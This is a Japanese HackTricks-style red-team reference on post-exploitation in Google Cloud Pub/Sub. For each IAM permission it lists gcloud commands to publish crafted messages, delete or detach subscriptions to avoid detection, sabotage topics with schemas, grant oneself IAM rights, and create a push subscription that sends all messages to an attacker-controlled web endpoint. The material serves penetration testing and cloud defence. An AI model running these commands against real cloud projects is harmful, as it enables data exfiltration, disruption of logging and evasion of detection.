GCP - Pub/Sub Post Exploitation

htARTE(HackTricks AWS Red Team Expert)を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

Pub/Sub

Pub/Subに関する詳細情報は、次のページを参照してください:

pageGCP - Pub/Sub Enum

pubsub.topics.publish

トピックにメッセージを公開し、予期しないデータを送信して予期しない機能をトリガーしたり、脆弱性を悪用したりするのに役立ちます。

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

検出を避けるために、メッセージを受信しないようにサブスクリプションを切り離すのに便利です。

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

検出を回避するために、購読がメッセージを受信しないようにするのに役立ちます。 トピックを削除することができ、それに購読がアタッチされていても可能です。

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

この権限を使用して、--clear-schema-settings--message-retention-duration--message-storage-policy-allowed-regions--schema--schema-project--topic-encryption-keyなどのトピックの設定を更新して中断させます。

pubsub.topics.setIamPolicy

自分自身に前述のいずれかの攻撃を実行する権限を付与します。

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

ウェブサーバーですべてのメッセージを取得します:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

サブスクリプションを作成し、それを使用してメッセージを取得します:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

サブスクリプションを削除すると、ログ処理システムなどを妨害するのに役立つかもしれません。

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

この権限を使用して、メッセージがアクセスできる場所(URL、Big Query テーブル、Bucket)に保存されるように設定を更新するか、単に中断させます。

pubsub.subscriptions.setIamPolicy

以前にコメントされた攻撃のいずれかを実行するために必要な権限を自分に付与します。

pubsub.schemas.delete

スキーマを削除して、スキーマに準拠しないメッセージを送信できるようにします。

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

スキーマをトピックにアタッチして、メッセージがそれを満たさないようにし、その結果トピックが妨害されるようにします。 スキーマが存在しない場合は、作成する必要があるかもしれません。

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.setIamPolicy`

以前にコメントされた攻撃を実行するために必要な権限を自分に付与します。

pubsub.snapshots.create, pubsub.snapshots.seek

これにより、未確認のメッセージのスナップショットが作成され、それらがサブスクリプションに戻されます。攻撃者にはあまり役立ちませんが、以下に示します:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!

HackTricksをサポートする他の方法:

最終更新